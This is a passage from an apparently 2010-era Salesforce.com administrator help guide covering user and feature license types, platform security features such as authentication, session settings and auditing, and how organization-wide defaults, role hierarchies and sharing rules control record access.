also has a Force.com - Free license.
Ideas and Answers Internal User Designed for internal Salesforce.com users who only need
access to the ideas and answers features. This license allows
users to access the Ideas tab, Answers tab, Home tab, and up
to three other custom tabs.
Content Only User Designed for users who only need access to the Content app.
This license allows users to access the following tabs:
Workspaces, Content, Subscriptions, Ideas, and Home. Each
license provides 500 MB of file storage.
Knowledge Only User Designed for users who only need access to the Salesforce
Knowledge app. This license provides access to the following
508
User Management Viewing User License Types
Sites Users
509
User Management Viewing User License Types
Customer Portal Manager Standard Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Standard license with the Customer Portal User
profile or a profile cloned and customized from the Customer
Portal User profile. This lets them view and edit data they
directly own or data owned by or shared with users below them
in the Customer Portal role hierarchy. These users can also
view and edit cases where they are listed in the Contact
Name field.
Users with the Customer Portal Manager Standard license
can:
• Access custom objects depending on their profile settings
• Receive the “Portal Super User” permission
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile
510
User Management Viewing User License Types
Customer Portal Manager Custom Designed for contacts who are allowed to log in to your
Salesforce.com Customer Portal to access customer support
information. You can associate users with a Customer Portal
Manager Custom license with the Customer Portal Manager
profile or a profile cloned and customized from the Customer
Portal Manager profile, which lets them view and edit data
they directly own and view and edit cases where they're listed
in the Contact Name field.
Users with the Customer Portal Manager Custom license can:
• Access custom objects and run reports depending on their
profile settings
• Receive the “Portal Super User” and “Delegated Portal
User Administrator” permissions
• Access Salesforce CRM Content if they have a Salesforce
CRM Content feature license or a customized profile
Contact salesforce.com for information about the number of
Customer Portal user licenses you can activate.
Silver Partner Users with a Silver Partner license can access the Documents
tab, My Account Profile, Leads, and Approvals, and have 2
MB of data storage space. Access to Salesforce CRM Content
is determined by feature license and profile.
Gold Partner Users with a Gold Partner license can access the Documents
tab, My Account Profile, Leads, Custom Objects, Approvals,
Accounts, Cases, and Opportunities, and have 5 MB of data
storage space. Access to Salesforce CRM Content is
determined by feature license and profile.
511
User Management Viewing Feature Licenses
For more information on partner users, see Partner Portal Overview on page 2500.
See Also:
Adding New Users
Managing Users
About Company Information
Viewing Feature Licenses
You may have more than one type of feature license available to assign to the users in your organization. A feature license
entitles a user to an additional Salesforce.com feature, such as Marketing or Connect Offline.
To view a list of the feature licenses your organization has purchased, click Setup ➤ Company Profile ➤ Company
Information. This page lists the following for each type of feature license:
Additionally, you can click Buy More Licenses to go to Checkout to buy additional feature licenses; see Checkout User Guide
for instructions.
The following feature licenses are available:
• Marketing User
• Offline User
• Apex Mobile User
• Salesforce CRM Content User
Note: In Summer '10, the Salesforce CRM Content feature license is included in all organizations at no additional
cost.
• Knowledge User
512
Security and Sharing Security Overview
For more information on assigning feature licenses to users, see Adding New Users on page 445. For information on purchasing
feature licenses, contact salesforce.com.
See Also:
About Company Information
Viewing User License Types
Security Overview
Salesforce.com is built with security as the foundation for the entire service. This foundation includes both protection for your
data and applications and the ability to implement your own security scheme to reflect the structure and needs of your
organization.
The security features of Salesforce.com provide both strength and flexibility. However, protecting your data is a joint
responsibility between you and salesforce.com. The security features in Salesforce.com enable you to empower your users to
do their jobs efficiently, while also limiting exposure of data to the users that need to act upon it. You should implement the
security controls that you think are appropriate for the sensitivity of your data. Your data is protected from unauthorized access
from outside your company, and you should also safeguard it from inappropriate usage by your users.
See the following topics to get more information about the various security components in Salesforce.com:
513
Security and Sharing Security Overview
See Also:
FAQ: Security & Scalability
Securing Data Access
FAQ: What browsers are supported?
Setting Login Restrictions
Setting Session Security
Setting Password Policies
Administrator setup guide: Security Implementation Guide
Security Infrastructure
One of the core features of a multi-tenant platform is the use of a single pool of computing resources to service the needs of
many different customers. Salesforce.com protects your organization's data from all other customer organizations by using a
unique organization identifier, which is associated with each user's session. Once you log in to your organization, your subsequent
requests are associated with your organization, using this identifier.
Salesforce.com utilizes some of the most advanced technology for Internet security available today. When you access the
application using a Salesforce.com-supported browser, Secure Socket Layer (SSL) technology protects your information using
both server authentication and data encryption, ensuring that your data is safe, secure, and available only to registered users
in your organization. For more information about supported browsers, see Getting Started FAQ on page 2561.
In addition, Salesforce.com is hosted in a secure server environment that uses a firewall and other advanced technology to
prevent interference or access from outside intruders.
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
514
Security and Sharing Security Overview
Malware is software designed to infiltrate or damage a computer system without the owner's informed consent. It is a general
term used to cover a variety of forms of hostile, intrusive, or annoying software, and it includes computer viruses and spyware.
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
User Security
Salesforce.com provides each user in your organization with a unique username and password that must be entered each time
a user logs in. Salesforce.com issues a session cookie only to record encrypted authentication information for the duration of
a specific session. The session cookie does not include either the username or password of the user. Salesforce.com does not
use cookies to store other confidential user and session information, but instead implements more advanced security methods
based on dynamic data and encoded session IDs.
515
Security and Sharing Security Overview
There are several settings you can configure to ensure that your users' passwords are strong and secure. If needed, you can
force the expiration of passwords for all users. See Setting Password Policies on page 542 and Expiring Passwords on page 451.
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
User Authentication
Salesforce.com has its own system of user authentication, but some companies prefer to use an existing single sign-on capability
to simplify and standardize their user authentication. You have two options to implement single sign-on—federated
authentication using Security Assertion Markup Language (SAML) or delegated authentication.
• Federated authentication using Security Assertion Markup Language (SAML) allows you to send authentication and
authorization data between affiliated but unrelated Web services. This enables you to sign-on to Salesforce.com from a
client application. Federated authentication using SAML is enabled by default for your organization.
• Delegated authentication single sign-on enables you to integrate Salesforce.com with an authentication method that you
choose. This enables you to integrate authentication with your LDAP (Lightweight Directory Access Protocol) server, or
perform single sign-on by authenticating using a token instead of a password. You manage delegated authentication at the
profile level, allowing some users to use delegated authentication, while other users continue to use their
Salesforce.com-managed password. Delegated authentication is set by profile, not organization wide. You must request
that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on
for your organization.
The primary reasons for using delegated authentication include:
- Using a stronger type of user authentication, such as integration with a secure identity provider
- Making your login page private and not part of the general Internet, but rather, part of your corporate network, behind
your corporate firewall
- Differentiating your organization from all other organizations that use Salesforce.com in order to reduce phishing
attacks
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
Network-based Security
User authentication determines who can log in, while network-based security limits where they can log in from and when. Use
network-based security to limit the window of opportunity for an attacker by restricting the origin of user logins. Network-based
security can also make it more difficult for an attacker to use stolen credentials.
516
Security and Sharing Security Overview
To enhance network-based security, Salesforce.com includes the ability to restrict the hours during which users can log in and
the range of IP addresses from which they can log in. If IP address restrictions are defined for a user's profile and a login
originates from an unknown IP address, Salesforce.com does not allow the login. This helps to protect your data from
unauthorized access and “phishing” attacks.
To set the organization-wide list of trusted IP addresses from which users can always log in without a login challenge, see
Restricting Login IP Ranges for Your Organization on page 546. To restrict login hours by profile, see Restricting Login
Hours on page 474. To restrict logins by IP addresses for specific profiles, see Restricting Login IP Ranges on Profiles on page
474.
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
Session Security
After logging in, a user establishes a session with the platform. Use session security to limit exposure to your network when a
user leaves their computer unattended while still logged on. It also limits the risk of internal attacks, such as when one employee
tries to use another employee's session.
You can control the session expiration time window for user logins. Session expiration allows you to select a timeout for user
sessions. The default session timeout is two hours of inactivity. When the session timeout is reached, users are prompted with
a dialog that allows them to log out or continue working. If they do not respond to this prompt, they are automatically logged
out.
Note: When a user closes a browser window or tab they are not automatically logged off from their Salesforce.com
session. Please ensure that your users are aware of this, and that they end all sessions properly by clicking Logout.
By default, Salesforce.com uses SSL (secure sockets layer) and requires secure connections (HTTPS) for all communication.
It is not required. The Require secure connections (HTTPS) setting determines whether SSL (HTTPS) is required
for all access to Salesforce.com. If you disable this setting and you change the URL from https:// to http://, you can
still access the application. However, you should require all sessions to use SSL for added security.
517
Security and Sharing Securing Data Access
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
Auditing
Auditing features do not secure your organization by themselves, but these features provide information about usage of the
system, which can be critical in diagnosing potential or real security issues. It is important that someone in your organization
perform regular audits to detect potential abuse. The other security features provided by Salesforce.com are preventative. To
verify that your system is actually secure, you should perform audits to monitor for unexpected changes or usage trends.
Auditing features include:
Record Modification Fields
All objects include fields to store the name of the user who created the record and who last modified the record. This
provides some basic auditing information.
Login History
You can review a list of successful and failed login attempts to your organization for the past six months. See Monitoring
Logins on page 504.
See Also:
Security Overview
Administrator setup guide: Security Implementation Guide
Choosing the data set that each user or group of users can see is one of the key decisions that affects data security. You need
to find a balance between limiting access to data, thereby limiting risk of stolen or misused data, versus the convenience of
data access for your users.
518
Security and Sharing Securing Data Access
To enable users to do their job without exposing data that they do not need to see, Salesforce.com provides a flexible, layered
sharing design that allows you to expose different data sets to different sets of users.
• To specify the objects and tabs that a user can access, you can assign a profile.
• To specify the fields that a user can access, you can use field-level security.
• To specify the individual records that a user can view and edit, you can set your organization-wide defaults, define a role
hierarchy, and create sharing rules.
Tip: When implementing security and sharing rules for your organization, make a table of the various types of users
in your organization. In the table, specify the level of access to data that each type of user needs for each object and
for fields and records within the object. You can refer to this table as you set up your security model.
Field-Level Security
Once you have restricted access to objects as a whole with profiles, you may want to limit access to individual object
fields. Field-level security controls whether a user can see, edit, and delete the value for a particular field on an object.
It allows you to protect sensitive fields without having to hide the whole object from certain profiles. Field-level security
is controlled within profiles.
Unlike page layouts, which only control the visibility of fields on detail and edit pages, field-level security controls the
visibility of fields in any part of the app, including related lists, list views, reports, and search results. To be absolutely
sure that a user cannot access a particular field, it is important to use the field-level security page for a given object to
restrict access to the field. There are no other shortcuts that provide the same level of protection for an individual field.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
519
Security and Sharing Securing Data Access
• The first step in record-level security is to determine the organization-wide defaults for each object. Organization-wide
sharing settings specify the default level of access to records and can be set separately for accounts (including assets
and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
You use organization-wide defaults to lock down your data to the most restrictive level, and then use the other
record-level security and sharing tools (role hierarchies, sharing rules, and manual sharing) to open up the data to
other users who need to access it. For example, for users whose profiles allow them to see and view opportunities,
you can set the default to Read-Only. Those users are able to read all opportunity records, but cannot edit any unless
they own the record or are granted additional permissions.
• The first way you can share access to records is by defining a role hierarchy. Similar to an organization chart, a
hierarchy represents a level of data access that a user or group of users needs. The role hierarchy ensures that a manager
always has access to the same data as his or her employees, regardless of the organization-wide default settings. Role
hierarchies do not have to match your organization chart exactly. Instead, each role in the hierarchy should represent
a level of data access that a user or group of users needs.
You can also use a territory hierarchy to share access to records. A territory hierarchy grants users access to records
based on criteria such as zip code, industry, revenue, or a custom field that is relevant to your business. For example,
you could create a territory hierarchy in which a user with the “North America” role has access to different data than
users with the “Canada” and “United States” roles.
Note: Although it is easy to confuse profiles with roles, they control two very different things. Profiles control
a user's object- and field-level access permissions. Roles primarily control a user's record-level access permissions
through role hierarchy and sharing rules.
• Sharing rules let you make automatic exceptions to organization-wide defaults for particular sets of users to give them
access to records they do not own or cannot normally see. Sharing rules, like role hierarchies, are only used to open
up record access to more users, and can never be stricter than your organization-wide default settings. Sharing rules
work best when they are defined for a particular set of users that you can determine or predict in advance, rather than
a set of users that is frequently changing. A set of users can be a public or personal group, a role, a territory, or a
queue.
Sometimes it is impossible to define a consistent group of users who need access to a particular set of records. In
those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.
If sharing rules and manual sharing do not give you the control you need, you can also use Apex managed sharing.
Apex managed sharing allows developers to use Apex to programmatically share custom objects. When you use Apex
managed sharing to share a custom object, only users with the “Modify All Data” permission can add or change the
sharing on the custom object's record, and the sharing access is maintained across record owner changes.
See Also:
Managing the Sharing Settings
Managing Roles
520
Security and Sharing Managing the Sharing Settings
Using Salesforce.com, you can control access to data at many different levels. For example, you can control the access your
users have to objects by customizing user profiles. Within objects, you can control the access users have to fields using field-level
security. To control access to data at the record level, use the sharing settings described below.
To view your sharing settings, click Setup ➤ Security Controls ➤ Sharing Settings. You can either view all lists at once, or
you can use the Manage sharing settings for drop-down list at the top of the page to view only organization-wide
defaults and sharing rules for a selected object.
Organization-Wide Defaults
Your organization-wide default sharing settings give you a baseline level of access for each object and enable you to extend
that level of access using hierarchies or sharing rules. For example, you can set the organization-wide default for leads to Private
if you only want users to view and edit the leads they own. Then, you can create lead sharing rules to extend access of leads to
particular users or groups.
Sharing Rules
Sharing rules represent the exceptions to your organization-wide default settings. If you have organization-wide sharing defaults
of Public Read Only or Private, you can define rules that give additional users access to records they do not own.
Tip: Sometimes it is impossible to define a consistent group of users who need access to a particular set of records.
In those situations, record owners can use manual sharing to give read and edit permissions to users who would not
have access to the record any other way. Although manual sharing is not automated like organization-wide defaults,
role hierarchies, or sharing rules, it gives record owners the flexibility to share particular records with users that need
to see them.
Sharing Overrides
When an object is selected in the Sharing Settings page, the page includes a Sharing Overrides related list, which shows any
profiles that ignore sharing settings for that object. For each profile, the list specifies the permissions that allow it to override
521
Security and Sharing Managing the Sharing Settings
sharing settings. The “View All Data” and “Modify All Data” permissions override sharing settings for all objects in the
organization, while the object permissions “View All” and “Modify All” override sharing settings for the named object.
To override sharing settings for specific objects, you can create or edit custom profiles that use the “View All” and “Modify
All” object permissions. These permissions provide access to all records associated with an object across the organization,
regardless of the sharing settings. Before setting these permissions, compare the different ways to control data access.
Queues
Create queues to help your teams manage leads, cases, and custom objects. Once records are placed in a queue either
manually or through an automatic case- or lead-assignment rule, records remain there until they are assigned to a user
or taken by one of the members of the queue. Any queue member or users above them in the role hierarchy can take
ownership of records in a queue. Use queues to route lead, case, and custom object records to a group.
Teams
For accounts, opportunities, and cases, record owners can use teams to allow other users access to their records. A team
is a group of users that work together on an account, sales opportunity, or case. Record owners can build a team for each
record that they own. The record owner adds team members and specifies the level of access each team member has to
the record, so that some team members can have read-only access and others can have read/write access. The record
owner can also specify a role for each team member, such as “Executive Sponsor.” In account teams, team members also
have access to any contacts, opportunities, and cases associated with an account.
Note: A team member may have a higher level of access to a record for other reasons, such as a role or sharing
rule. In this case, the team member has the highest access level granted, regardless of the access level specified
in the team.
See Also:
Securing Data Access
Managing Profiles
Sharing Model Fields
About Sharing Rules
Sharing Considerations
Account Team Overview
Sales Teams Overview
Case Teams Overview
522
Security and Sharing Setting Your Organization-Wide Sharing Model
Administrators can use organization-wide sharing settings to define the default sharing model for an organization.
Organization-wide sharing settings specify the default level of access to records and can be set separately for accounts (including
assets and contracts), activities, contacts, campaigns, cases, leads, opportunities, calendars, price books, and custom objects.
For most objects, organization-wide sharing settings can be set to Private, Public Read Only, or Public Read/Write.
In environments where the sharing model for an object is set to Private or Public Read Only, an administrator can grant users
additional access to records by setting up a role hierarchy or defining sharing rules. However, sharing rules can only be used
to grant additional access—they cannot be used to restrict access to records beyond what was originally specified with the
sharing model through organization-wide defaults.
Important: If your organization uses a Customer Portal, before you enable contacts to access the portal, set the
organization-wide sharing defaults on accounts, contacts, contracts, assets, and cases to Private. This ensures that by
default your customers can view only their own data. You can still grant your Salesforce.com users Public Read/Write
access by creating sharing rules in which all internal users share with all internal users.
By default, Salesforce.com uses hierarchies, like the role or territory hierarchy, to automatically grant access of records to users
above the record owner in the hierarchy. Professional, Enterprise, Unlimited, and Developer Edition organizations can disable
this for custom objects using the Grant Access Using Hierarchies checkbox. If you deselect this checkbox for a custom object,
only the record owner and users granted access by the organization-wide defaults receive access to the records.
Limitations
You can't change the organization-wide sharing default setting for some objects:
523
Security and Sharing Setting Your Organization-Wide Sharing Model
See Also:
Managing the Sharing Settings
Sharing Model Fields
Setting Sharing Rules
Creating Apex Sharing Reasons
Administrator tip sheet: Tips & Hints for Sharing Data
Controlling Access Using Hierarchies
524
Security and Sharing Setting Your Organization-Wide Sharing Model
You can use organization-wide defaults to set the default level of record access for the following objects.
You can assign the following access levels to accounts, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.
Field Description
Controlled by Parent A user can perform an action (such as view, edit, or delete) on
a contact based on whether he or she can perform that same
action on the record associated with it.
For example, if a contact is associated with the Acme account,
then a user can only edit that contact if he or she can also edit
the Acme account.
Private Only the record owner, and users above that role in the
hierarchy, can view, edit, and report on those records.
For example, if Tom is the owner of an account, and he is
assigned to the role of Western Sales, reporting to Carol (who
is in the role of VP of Western Region Sales), then Carol can
also view, edit, and report on Tom’s accounts.
525
Security and Sharing Setting Your Organization-Wide Sharing Model
Field Description
Public Read Only All users can view and report on records but not edit them.
Only the owner, and users above that role in the hierarchy,
can edit those records.
For example, Sara is the owner of ABC Corp. Sara is also in
the role Western Sales, reporting to Carol, who is in the role
of VP of Western Region Sales. Sara and Carol have full
read/write access to ABC Corp. Tom (another Western Sales
Rep) can also view and report on ABC Corp, but cannot edit
it.
Public Read/Write All users can view, edit, and report on all records.
For example, if Tom is the owner of Trident Inc., all other
users can view, edit, and report on the Trident account.
However, only Tom can alter the sharing settings or delete
the Trident account.
Public Read/Write/Transfer All users can view, edit, transfer, and report on all records.
Only available for cases or leads.
For example, if Alice is the owner of ACME case number
100, all other users can view, edit, transfer ownership, and
report on that case. But only Alice can delete or change the
sharing on case 100.
Public Full Access All users can view, edit, transfer, delete, and report on all
records. Only available for campaigns.
For example, if Ben is the owner of a campaign, all other users
can view, edit, transfer, or delete that campaign.
Note: To use cases effectively, set the organization-wide default for Account, Contact, Contract, and Asset to Public
Read/Write.
Field Description
Hide Details Others can see whether the user is available at given times,
but can not see any other information about the nature of
events in the user’s calendar.
Hide Details and Add Events In addition to the sharing levels set by Hide Details, users can
insert events in other users’ calendars.
Show Details Users can see detailed information about events in other users’
calendars.
526
Security and Sharing Setting Your Organization-Wide Sharing Model
Field Description
Show Details and Add Events In addition to the sharing levels set by Show Details, users
can insert events in other users’ calendars.
Full Access Users can see detailed information about events in other users’
calendars, insert events in other users’ calendars, and edit
existing events in other users’ calendars.
Note: Regardless of the organization-wide defaults that have been set for calendars, all users can invite all other users
to group events.
Field Description
Use All users can view price books and add them to opportunities.
Users can add any product within that price book to an
opportunity.
View Only All users can view and report on price books but only users
with the “Edit” permission on opportunities or users that have
been manually granted use access to the price book can add
them to opportunities.
No Access Users cannot see price books or add them to opportunities.
Use this access level in your organization-wide default if you
want only selected users to access selected price books. Then,
manually share the appropriate price books with the
appropriate users. For information on manually sharing a price
book to your users, see Sharing Price Books on page 1813.
Field Description
Private Only the activity owner, and users above the activity owner in
the role hierarchy, can edit and delete the activity; users with
read access to the record to which the activity is associated can
view and report on the activity.
Controlled by Parent A user can perform an action (such as view, edit, transfer, and
delete) on an activity based on whether he or she can perform
that same action on the records associated with the activity.
For example, if a task is associated with the Acme account
and the John Smith contact, then a user can only edit that task
527
Security and Sharing Setting Your Organization-Wide Sharing Model
Field Description
if he or she can also edit the Acme account and the John Smith
record.
See Also:
Managing the Sharing Settings
Setting Your Organization-Wide Sharing Model
Sharing Considerations
Your organization's sharing model gives users access to records they do not own. The sharing model is a complex relationship
between role hierarchies, user profiles, sharing rules, and exceptions for certain situations. Review the following notes before
setting your sharing model:
Deleting Records
• The ability to delete individual records is controlled by administrators, the record owner, users in a role hierarchy above
the record owner, and any user that has been granted “Full Access.”
• If the sharing model is set to Public Read/Write/Transfer for cases or leads or Public Full Access for campaigns, any user
can delete those types of records.
528
Security and Sharing Setting Your Organization-Wide Sharing Model
on page 77, Sharing Campaigns on page 2047, Sharing Contacts on page 166, Sharing Opportunities on page 1764, Sharing
Cases on page 2301, and Sharing Leads on page 2070.
• Changing your sharing model deletes any manual shares your users have created.
Account Sharing
• To restrict users’ access to records they do not own that are associated with accounts they do own, set the appropriate access
level on the role. For example, you can restrict a user's access to opportunities they do not own yet are associated with
accounts they do own using the Opportunity Access option.
• Regardless of the organization-wide defaults, users can, at a minimum, view the accounts in their territories. Also, users
can be granted access to view and edit the contacts, opportunities, and cases associated with their territories' accounts.
Apex Sharing
• You can't change the organization-wide default settings from private to public for a custom object if an Apex script uses
the sharing entries associated with that object. For example, if a script retrieves the users and groups who have sharing
access on a custom object Invoice__c (represented as Invoice__share in the code), you can't change the object's
organization-wide sharing setting from private to public.
Campaign Sharing
• In Enterprise, Unlimited, and Developer Editions, designate all users as Marketing Users when enabling campaign sharing.
This simplifies administration and troubleshooting because access can be controlled using sharing and profiles.
Note: Professional Edition customers cannot manage users this way because custom profiles are not enabled in
Professional Edition organizations.
• To segment visibility between business units while maintaining existing behavior within a business unit:
1. Set the campaign organization-wide default to Private.
2. Create a sharing rule to grant marketing users Public Full Access to all campaigns owned by users within their business
unit.
3. Create a sharing rule to grant all non-marketing users in a business unit Read Only access to all campaigns owned by
users in their business unit.
• When a single user, such as a regional marketing manager, owns multiple campaigns and needs to segment visibility
between business units, share campaigns individually instead of using sharing rules. Sharing rules apply to all campaigns
owned by a user and do not allow segmenting visibility.
• Create all campaign sharing rules prior to changing your organization-wide default to reduce the affect the change has on
your users.
• To share all campaigns in your organization with a group of users or a specific role, create a sharing rule that applies to
campaigns owned by members of the “Entire Organization” public group.
529
Security and Sharing Setting Your Organization-Wide Sharing Model
• Minimize the number of sharing rules you need to create by using the “Roles and Subordinates” option instead of choosing
a specific role.
• If campaign hierarchy statistics are added to the page layout, a user can see aggregate data for a parent campaign and all
the campaigns below it in the hierarchy regardless of whether that user has sharing rights to a particular campaign within
the hierarchy. Therefore, consider your organization's campaign sharing settings when enabling campaign hierarchy
statistics. If you do not want users to see aggregate hierarchy data, remove any or all of the campaign hierarchy statistics
fields from the Campaign Hierarchy related list. These fields will still be available for reporting purposes. For more
information, see Viewing Campaign Hierarchy Statistics on page 2010.
• If the sharing model is set to Public Full Access for campaigns, any user can delete those types of records.
Contact Sharing
• The organization-wide sharing default for contacts is not available to organizations that have person accounts enabled.
• If your organization-wide default for contacts is set to Controlled by Parent, the Contact Access options are not available
when sharing related records like accounts; instead, all access to contacts is determined by the user's access to the contact's
account.
Beyond setting the organization-wide sharing defaults for each object, your organization can specify whether users have access
to the data owned by or shared with their subordinates in the hierarchy. For example, hierarchies like the role hierarchy or
territory hierarchy automatically grant record access to users above the record owner in the hierarchy. The Grant Access
Using Hierarchies option in the organization-wide defaults determines the access users have to records that they do not
530
Security and Sharing Setting Your Organization-Wide Sharing Model
own, including records they do not have sharing access to but someone below them in the hierarchy does. By default, the
Grant Access Using Hierarchies option is enabled for all objects, and it can only be changed for custom objects.
To control sharing access using hierarchies for any custom object, click Setup ➤ Security Controls ➤ Sharing Settings and
Edit in the Organization Wide Defaults section. Deselect Grant Access Using Hierarchies if you want to prevent
users from gaining automatic access to data owned by or shared with their subordinates in the hierarchies.
Implementation Notes
• Regardless of your organization's sharing settings, users can gain access to records they do not own through other means
such as user permissions like “View All Data,” sharing rules, or manual sharing of individual records.
• The Grant Access Using Hierarchies option is always selected on standard objects and is not editable.
• If you disable the Grant Access Using Hierarchies option, sharing with a role or territory and subordinates only
shares with the users directly associated with the role or territory selected. Users in roles or territories above them in the
hierarchies will not gain access.
• If your organization disables the Grant Access Using Hierarchies option, activities associated with a custom object
are still visible to users above the activity’s assignee in the role hierarchy.
• If a master-detail relationship is broken by deleting the relationship, the former detail custom object's default setting is
automatically reverted to Public Read/Write and Grant Access Using Hierarchies is selected by default.
• The Grant Access Using Hierarchies option affects which users gain access to data when something is shared
with public groups, personal groups, queues, roles, or territories. For example, the View All Users option displays group
members and people above them in the hierarchies when a record is shared with them using a sharing rule or manual
sharing and the Grant Access Using Hierarchies option is selected. When the Grant Access Using
Hierarchies option is not selected, some users in these groups no longer have access. The following list covers the access
reasons that depend on the Grant Access Using Hierarchies option.
These reasons always gain access:
Group Member
Queue Member
Role Member
Member of Subordinate Role
Territory Member
Member of Subordinate Territory
Best Practices
• When you deselect Grant Access Using Hierarchies, notify users of the changes in report results that they can
expect due to losing visibility of their subordinates' data. For example, selecting My team's... in the View drop-down list
returns records owned by the user; it will not include records owned by their subordinates. To be included in this type of
report view, records from subordinates must be explicitly shared with that user by some other means such as a sharing rule
or a manual share. So, if no records are shared with you manually, the My... and My team's... options in the View drop-down
531
Security and Sharing Setting Your Organization-Wide Sharing Model
list return the same results. However, choosing the Activities with... any custom object report type when creating a custom
report returns activities assigned to you as well as your subordinates in the role hierarchy.
See Also:
Sharing Model Fields
Setting Your Organization-Wide Sharing Model
When creating Apex managed sharing, create Apex sharing reasons for individual custom objects to indicate why sharing was
implemented, simplify the coding required to update and delete sharing records, and share a record multiple times with the
same user or group using different Apex sharing reasons.
Note: For more information on Apex managed sharing, see the Force.com Apex Code Developer's Guide.
Salesforce.com displays Apex sharing reasons in the Reason column when viewing the sharing for a custom object record in
the user interface. This allows users and administrators to understand the purpose of the sharing.
When working with Apex sharing reasons, note the following:
532
Security and Sharing Setting Your Organization-Wide Sharing Model
6. Click Save.
See Also:
Recalculating Apex Managed Sharing
Force.com Apex Code Overview
Setting Your Organization-Wide Sharing Model
Granting Access to Records
Important: Apex sharing recalculations are only available by request. When packaging custom objects, remember
that associated Apex sharing recalculations are also included and may prevent the package from installing. Contact
salesforce.com for more information.
Developers can write batch Apex classes that recalculate the Apex managed sharing for a specific custom object. You can
associate these classes with a custom object on its detail page, and execute them if a locking issue prevents an Apex script from
granting access to a user as defined by the application’s logic. Apex sharing recalculations are also useful for resolving visibility
issues due to coding errors. For example, if a developer corrects a coding error that prevented users from accessing records
they should see, the correction might only affect records created after the code update. To ensure the correction applies to
existing records as well, the developer can run an Apex sharing recalculation to validate sharing on all records.
You can run Apex sharing recalculations from a custom object's detail page. You can also run them programmatically using
the Database.executeBatch method. In addition, Salesforce.com automatically runs Apex recalculation classes defined
for a custom object every time a custom object's organization wide sharing default access level is updated.
Note:
Salesforce.com automatically recalculates sharing for all records on an object when its organization-wide sharing default
access level changes. The recalculation includes access granted by sharing rules. In addition, all types of sharing are
removed if the access they grant is redundant. For example, the manual sharing which grants Read Only access to a
user is deleted when the object’s sharing model is changed from Private to Public Read Only.
For information on creating Apex managed sharing and recalculation classes, see the Force.com Apex Code Developer's Guide.
To associate an Apex managed sharing recalculation class with a custom object:
533
Security and Sharing About Sharing Rules
4. Choose the Apex class that recalculates the Apex sharing for this object. The class you choose must implement the
Database.Batchable interface. You cannot associate the same Apex class multiple times with the same custom object.
5. Click Save.
• The Apex script that extends the sharing recalculation can process a maximum of five million records. If the script affects
more than five million records, the job fails immediately.
• You can monitor the status of Apex sharing recalculations in the Apex job queue.
• You can associate a maximum of five Apex sharing recalculations per custom object.
• You cannot associate Apex sharing recalculations with standard objects.
See Also:
Creating Apex Sharing Reasons
Force.com Apex Code Overview
Setting Your Organization-Wide Sharing Model
Sharing rules allow you to make automatic exceptions to your organization-wide default for defined sets of users. For example,
use sharing rules to extend sharing access to users in public groups, roles, or territories. Sharing rules can never be stricter than
your organization-wide default settings. They simply allow greater access for particular users.
You can create the following types of sharing rules:
• Account sharing rules—Based on who owns the account, set default sharing access for accounts and their associated cases,
contracts, opportunities, and, optionally, contacts.
• Account territory sharing rules—Based on territory assignment, set default sharing access for accounts and their associated
cases, contacts, contracts, and opportunities.
• Campaign sharing rules—Based on who owns the campaign, set default sharing access for individual campaign records.
• Case sharing rules—Based on who owns the case, set default sharing access for individual cases and associated accounts.
• Contact sharing rules—Based on who owns the contact, set default sharing access for individual contacts and associated
accounts.
534
Security and Sharing About Sharing Rules
• Custom object sharing rules—Based on who owns the custom object, set default sharing access for individual custom
object records.
• Lead sharing rules—Based on who owns the lead, set default sharing access for individual leads.
• Opportunity sharing rules—Based on who owns the opportunity, set default sharing access for individual opportunities
and their associated accounts.
See Also:
Setting Sharing Rules
Sample Uses for Sharing Rules
Sharing Rule Considerations
Managing the Sharing Settings
Securing Data Access
Sharing rules allow you to selectively grant data access to defined sets of users. Before creating sharing rules for your organization,
review the following samples and determine how sharing rules fit in your organization:
• Organizations with organization-wide defaults of Public Read Only or Private can create sharing rules to give specific users
access to data owned by other users.
• To use cases effectively, customer support users must have “Read” access to accounts and contacts. To do so, create the
appropriate sharing rules to give your customer support team access to accounts and contacts when working on cases.
• The Western and Eastern Regional Directors need to see all of the accounts created by each others’ sales reps. You can
create two public groups - one that includes the Western and Eastern Regional Director roles and one that includes the
Western and Eastern Sales Rep roles. Then create an account sharing rule so that records owned by the Western and
Eastern Sales Rep group are shared with the group containing the Western and Eastern Regional Director roles.
See Also:
Setting Sharing Rules
About Sharing Rules
535
Security and Sharing About Sharing Rules
Sharing rules allow you to selectively give defined sets of users access to records based on record ownership. You can define
up to 100 owner-based sharing rules for each object.
Note: You can't include High Volume Customer Portal users in sharing rules because they don't have roles and can't
be in public groups.
1. If you plan to share data with public groups, confirm that the appropriate public groups have been created.
2. Click Setup ➤ Security Controls ➤ Sharing Settings.
3. Click New in the appropriate related list under Sharing Rules.
4. In the owned by members of line, select a category from the first drop-down list and a data set from the second.
5. In the Share with line, select the set of users who should have access to that data: select a category from the first
drop-down list and a data set from the second.
6. Select the access setting for the users.
536
Security and Sharing About Sharing Rules
Note:
• For account and account territory sharing rules, the Contact Access, Opportunity Access, and Case
Access options only apply to the contacts, opportunities, and cases associated with the shared accounts.
• For opportunity sharing rules, the Opportunity Access level applies to opportunities owned by the group,
role, or territory members, regardless of the associated account.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
7. Click Save.
Category Description
Queues All records owned by the queue, excluding records owned by individual members of the
queue. Available only in the owned by members of list.
Public Groups All public groups defined by your administrator.
If a partner portal or Customer Portal is enabled for your organization, the All Partner
